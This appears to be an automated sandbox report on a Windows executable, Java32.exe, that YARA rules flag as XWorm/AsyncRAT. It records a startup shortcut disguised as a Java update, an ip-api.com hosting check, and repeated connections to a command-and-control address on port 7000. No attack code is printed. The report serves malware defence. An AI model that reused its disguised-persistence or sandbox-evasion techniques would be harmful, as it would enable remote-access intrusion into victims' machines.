Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wy2l3w0r.3aa.psm1

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Java Update(32bit).lnk

Process:	C:\Users\user\Desktop\Java32.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Thu Jan 2 07:45:57 2025, mtime=Thu Jan 2 07:45:57 2025, atime=Thu Jan 2 07:45:57 2025, length=108032, window=hide
Category:	dropped
Size (bytes):	720
Entropy (8bit):	4.666744856183531
Encrypted:	false
SSDEEP:	12:8fTrcOdVceqAzKJxjA6gTliqdrgb+HWYmV:8fS2mHA6A3u+HWYm
MD5:	866AACCC8D9AA995546F2E61C0C09960
SHA1:	BC4A23920EC6E85AD7BE91461EAA364C9A6AC265
SHA-256:	FA9F2FB842320D0381F7F3E987A980704C4B4E8A4F18CF7A911102EA3A035032
SHA-512:	3754371F65F35AD703BA8E1A1AD4E607AC0464E3F0ED6D7EB92F0B7F1984EFB6EC9F259435E321B0C3F58DCE12C6A2AA7273FF1EC3F4710A3D041C0CC589EFDE
Malicious:	false
Preview:	L..................F.... ......\......\......\...............................P.O. .:i.....+00.../C:\...................`.1....."Z.E. PROGRA~3..H......O.I"Z.E....g.........................P.r.o.g.r.a.m.D.a.t.a.....z.2....."Z.E JAVAUP~1.EXE..^......"Z.E"Z.E....3(....................j.`.J.a.v.a. .U.p.d.a.t.e.(.3.2.b.i.t.)...e.x.e.......T...............-.......S...........yV9......C:\ProgramData\Java Update(32bit).exe..=.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m.D.a.t.a.\.J.a.v.a. .U.p.d.a.t.e.(.3.2.b.i.t.)...e.x.e.`.......X.......849224...........hT..CrF.f4... .'t......,...W..hT..CrF.f4... .'t......,...W..E.......9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	6.362235917726401
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	Java32.exe
File size:	108'032 bytes
MD5:	9664ad464838e6f6e2196a594ef5682f
SHA1:	f975cdc29e519f08df38ff375b587b4db9ea676e
SHA256:	9119d9e8d1a7078c637d5af9d09d5fce63c9fb300b47c08e580387a867f97a46
SHA512:	33838f172a0fad1129cacef9fea67839ffdd2c9fec730fb36c941b904118044964ab0aafa3f649f59ce4239911b1264eb10d605ceac2dde4b7fa7a0380e14a89
SSDEEP:	1536:P6wH/d05ZE5rKn/JvAobz73d16YAlOpYMPG17qjh3rmKPNI:P6agVnx4obzQlOpZGwjZqMNI
TLSH:	7EB38DB4F3D59401D2BF9FF24CBA6D2185B67E9F9C52860E20DA325A16333C58441EAF
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....oig.................$...........C... ...`....@.. ....................................@................................

File Icon


Icon Hash:	d08c8e8ea2868a55

Static PE Info

General

Entrypoint:	0x4143de
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x67696FC5 [Mon Dec 23 14:12:21 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x14388	0x53	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x16000	0x7c3e	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x1e000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x123e4	0x12400	925f9e70d765d6e89936906dc31cf7d0	False	0.6053215967465754	data	6.072213683132225	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x16000	0x7c3e	0x7e00	56849df267bfd2f5d643b1c0753b8736	False	0.3404637896825397	data	5.84933569010734	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x1e000	0xc	0x200	39475863cd38b67b4982701dc4d3a830	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
RT_ICON	0x16340	0x668	Device independent bitmap graphic, 48 x 96 x 4, image size 0	0.21890243902439024
RT_ICON	0x169a8	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 0	0.3400537634408602
RT_ICON	0x16c90	0x1e8	Device independent bitmap graphic, 24 x 48 x 4, image size 0	0.35450819672131145
RT_ICON	0x16e78	0x128	Device independent bitmap graphic, 16 x 32 x 4, image size 0	0.46283783783783783
RT_ICON	0x16fa0	0xea8	Device independent bitmap graphic, 48 x 96 x 8, image size 0	0.5026652452025586
RT_ICON	0x17e48	0x8a8	Device independent bitmap graphic, 32 x 64 x 8, image size 0	0.5798736462093863
RT_ICON	0x186f0	0x6c8	Device independent bitmap graphic, 24 x 48 x 8, image size 0	0.40264976958525345
RT_ICON	0x18db8	0x568	Device independent bitmap graphic, 16 x 32 x 8, image size 0	0.3273121387283237
RT_ICON	0x19320	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 0	0.27344398340248965
RT_ICON	0x1b8c8	0x10a8	Device independent bitmap graphic, 32 x 64 x 32, image size 0	0.37875234521575984
RT_ICON	0x1c970	0x988	Device independent bitmap graphic, 24 x 48 x 32, image size 0	0.37868852459016394
RT_ICON	0x1d2f8	0x468	Device independent bitmap graphic, 16 x 32 x 32, image size 0	0.4796099290780142
RT_GROUP_ICON	0x1d760	0xae	data	0.5689655172413793
RT_VERSION	0x1d810	0x244	data	0.4724137931034483
RT_MANIFEST	0x1da54	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5469387755102041

Imports

DLL	Import
mscoree.dll	_CorExeMain

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 09:45:01.148313999 CET	49704	80	192.168.2.5	208.95.112.1
Jan 2, 2025 09:45:01.153151989 CET	80	49704	208.95.112.1	192.168.2.5
Jan 2, 2025 09:45:01.153254986 CET	49704	80	192.168.2.5	208.95.112.1
Jan 2, 2025 09:45:01.154000998 CET	49704	80	192.168.2.5	208.95.112.1
Jan 2, 2025 09:45:01.158735991 CET	80	49704	208.95.112.1	192.168.2.5
Jan 2, 2025 09:45:01.664609909 CET	80	49704	208.95.112.1	192.168.2.5
Jan 2, 2025 09:45:01.707087994 CET	49704	80	192.168.2.5	208.95.112.1
Jan 2, 2025 09:46:01.965246916 CET	49975	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:01.970109940 CET	7000	49975	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:01.970232010 CET	49975	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:02.076704025 CET	49975	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:02.081480026 CET	7000	49975	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:04.079766989 CET	7000	49975	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:04.081856012 CET	49975	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:06.691692114 CET	49975	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:06.692771912 CET	49980	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:06.696610928 CET	7000	49975	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:06.697680950 CET	7000	49980	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:06.697751999 CET	49980	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:06.711886883 CET	49980	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:06.716726065 CET	7000	49980	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:08.831197977 CET	7000	49980	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:08.831355095 CET	49980	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:10.973021030 CET	49980	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:10.974447966 CET	49981	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:10.977847099 CET	7000	49980	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:10.979231119 CET	7000	49981	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:10.979295015 CET	49981	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:10.996978045 CET	49981	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:11.002177000 CET	7000	49981	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:13.114877939 CET	7000	49981	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:13.114964008 CET	49981	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:16.425930977 CET	49981	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:16.427078962 CET	49982	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:16.430706024 CET	7000	49981	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:16.431860924 CET	7000	49982	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:16.431943893 CET	49982	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:16.446357012 CET	49982	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:16.451112032 CET	7000	49982	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:18.569693089 CET	7000	49982	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:18.571883917 CET	49982	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:20.270123005 CET	49982	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:20.271944046 CET	49984	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:20.274949074 CET	7000	49982	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:20.276812077 CET	7000	49984	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:20.276889086 CET	49984	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:20.303989887 CET	49984	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:20.308752060 CET	7000	49984	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:21.167650938 CET	80	49704	208.95.112.1	192.168.2.5
Jan 2, 2025 09:46:21.167711020 CET	49704	80	192.168.2.5	208.95.112.1
Jan 2, 2025 09:46:22.457946062 CET	7000	49984	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:22.458022118 CET	49984	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:22.655951977 CET	7000	49984	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:22.656105042 CET	49984	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:24.691581011 CET	49984	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:24.692634106 CET	49985	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:24.697063923 CET	7000	49984	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:24.698291063 CET	7000	49985	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:24.698396921 CET	49985	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:24.712811947 CET	49985	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:24.717607975 CET	7000	49985	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:26.853607893 CET	7000	49985	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:26.853717089 CET	49985	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:29.847908020 CET	49985	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:29.849164963 CET	49986	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:29.852727890 CET	7000	49985	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:29.853984118 CET	7000	49986	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:29.854064941 CET	49986	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:29.868808031 CET	49986	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:29.873642921 CET	7000	49986	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:32.048423052 CET	7000	49986	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:32.048577070 CET	49986	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:34.894845963 CET	49986	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:34.896960974 CET	49987	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:34.899710894 CET	7000	49986	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:34.901823997 CET	7000	49987	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:34.901896954 CET	49987	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:34.916640997 CET	49987	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:34.921516895 CET	7000	49987	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:37.035269976 CET	7000	49987	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:37.037925959 CET	49987	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:39.363662958 CET	49987	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:39.364558935 CET	49988	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:39.374320030 CET	7000	49987	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:39.374351025 CET	7000	49988	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:39.374619007 CET	49988	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:39.389877081 CET	49988	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:39.394628048 CET	7000	49988	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:41.506383896 CET	7000	49988	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:41.506489992 CET	49988	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:41.677433014 CET	49704	80	192.168.2.5	208.95.112.1
Jan 2, 2025 09:46:41.682297945 CET	80	49704	208.95.112.1	192.168.2.5
Jan 2, 2025 09:46:42.254534960 CET	49988	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:42.257029057 CET	49989	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:42.259423971 CET	7000	49988	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:42.261868954 CET	7000	49989	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:42.261955023 CET	49989	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:42.280035973 CET	49989	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:42.284852982 CET	7000	49989	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:44.393759966 CET	7000	49989	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:44.393881083 CET	49989	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:44.801052094 CET	49989	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:44.802047014 CET	49990	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:44.805861950 CET	7000	49989	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:44.806919098 CET	7000	49990	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:44.807003975 CET	49990	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:44.821484089 CET	49990	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:44.826303005 CET	7000	49990	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:46.924525023 CET	7000	49990	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:46.924654007 CET	49990	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:47.723138094 CET	49990	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:47.724941015 CET	49991	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:47.727916002 CET	7000	49990	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:47.729778051 CET	7000	49991	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:47.729854107 CET	49991	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:47.754298925 CET	49991	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:47.759118080 CET	7000	49991	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:49.865684032 CET	7000	49991	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:49.865859985 CET	49991	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:50.473002911 CET	49991	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:50.478857994 CET	7000	49991	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:50.479022026 CET	49992	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:50.485409021 CET	7000	49992	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:50.486967087 CET	49992	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:50.508517981 CET	49992	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:50.513303041 CET	7000	49992	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:52.612386942 CET	7000	49992	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:52.612576008 CET	49992	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:53.660392046 CET	49992	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:53.661580086 CET	49993	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:53.665196896 CET	7000	49992	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:53.666402102 CET	7000	49993	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:53.666471958 CET	49993	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:53.683281898 CET	49993	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:53.688100100 CET	7000	49993	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:55.809227943 CET	7000	49993	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:55.809457064 CET	49993	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:56.233918905 CET	49993	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:56.238725901 CET	7000	49993	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:56.241588116 CET	49994	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:56.246397018 CET	7000	49994	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:56.246469021 CET	49994	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:56.345027924 CET	49994	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:56.349853992 CET	7000	49994	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:58.406925917 CET	7000	49994	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:58.406995058 CET	49994	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:59.226974964 CET	49994	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:59.231858969 CET	7000	49994	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:59.232415915 CET	49995	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:59.237211943 CET	7000	49995	45.141.26.234	192.168.2.5
Jan 2, 2025 09:46:59.237319946 CET	49995	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:59.255595922 CET	49995	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:46:59.260390043 CET	7000	49995	45.141.26.234	192.168.2.5
Jan 2, 2025 09:47:01.363931894 CET	7000	49995	45.141.26.234	192.168.2.5
Jan 2, 2025 09:47:01.365782022 CET	49995	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:47:01.703107119 CET	49995	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:47:01.708199024 CET	7000	49995	45.141.26.234	192.168.2.5
Jan 2, 2025 09:47:01.729612112 CET	49996	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:47:01.735335112 CET	7000	49996	45.141.26.234	192.168.2.5
Jan 2, 2025 09:47:01.735424995 CET	49996	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:47:01.893332005 CET	49996	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:47:01.899452925 CET	7000	49996	45.141.26.234	192.168.2.5
Jan 2, 2025 09:47:03.865540981 CET	7000	49996	45.141.26.234	192.168.2.5
Jan 2, 2025 09:47:03.865643024 CET	49996	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:47:03.926198006 CET	49996	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:47:03.928437948 CET	49997	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:47:03.931022882 CET	7000	49996	45.141.26.234	192.168.2.5
Jan 2, 2025 09:47:03.933300018 CET	7000	49997	45.141.26.234	192.168.2.5
Jan 2, 2025 09:47:03.933374882 CET	49997	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:47:03.952306986 CET	49997	7000	192.168.2.5	45.141.26.234
Jan 2, 2025 09:47:03.957101107 CET	7000	49997	45.141.26.234	192.168.2.5
Jan 2, 2025 09:47:06.049907923 CET	7000	49997	45.141.26.234	192.168.2.5
Jan 2, 2025 09:47:06.049968004 CET	49997	7000	192.168.2.5	45.141.26.234

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 2, 2025 09:45:01.134494066 CET	65482	53	192.168.2.5	1.1.1.1
Jan 2, 2025 09:45:01.141458988 CET	53	65482	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 2, 2025 09:45:01.134494066 CET	192.168.2.5	1.1.1.1	0x6911	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 2, 2025 09:45:01.141458988 CET	1.1.1.1	192.168.2.5	0x6911	No error (0)	ip-api.com		208.95.112.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

ip-api.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	208.95.112.1	80	6520	C:\Users\user\Desktop\Java32.exe

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2025 09:45:01.154000998 CET	80	OUT	GET /line/?fields=hosting HTTP/1.1 Host: ip-api.com Connection: Keep-Alive
Jan 2, 2025 09:45:01.664609909 CET	175	IN	HTTP/1.1 200 OK Date: Thu, 02 Jan 2025 08:45:01 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 6 Access-Control-Allow-Origin: * X-Ttl: 60 X-Rl: 44 Data Raw: 66 61 6c 73 65 0a Data Ascii: false

Target ID:	0
Start time:	03:44:56
Start date:	02/01/2025
Path:	C:\Users\user\Desktop\Java32.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Java32.exe"
Imagebase:	0xb60000
File size:	108'032 bytes
MD5 hash:	9664AD464838E6F6E2196A594EF5682F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000000.2003941272.0000000000B62000.00000002.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000000.2003941272.0000000000B62000.00000002.00000001.01000000.00000003.sdmp, Author: ditekSHen Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.3280755045.0000000002ED1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_XWorm, Description: Yara detected XWorm, Source: 00000000.00000002.3304438638.0000000012EE1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: MALWARE_Win_AsyncRAT, Description: Detects AsyncRAT, Source: 00000000.00000002.3304438638.0000000012EE1000.00000004.00000800.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	low
Has exited:	false

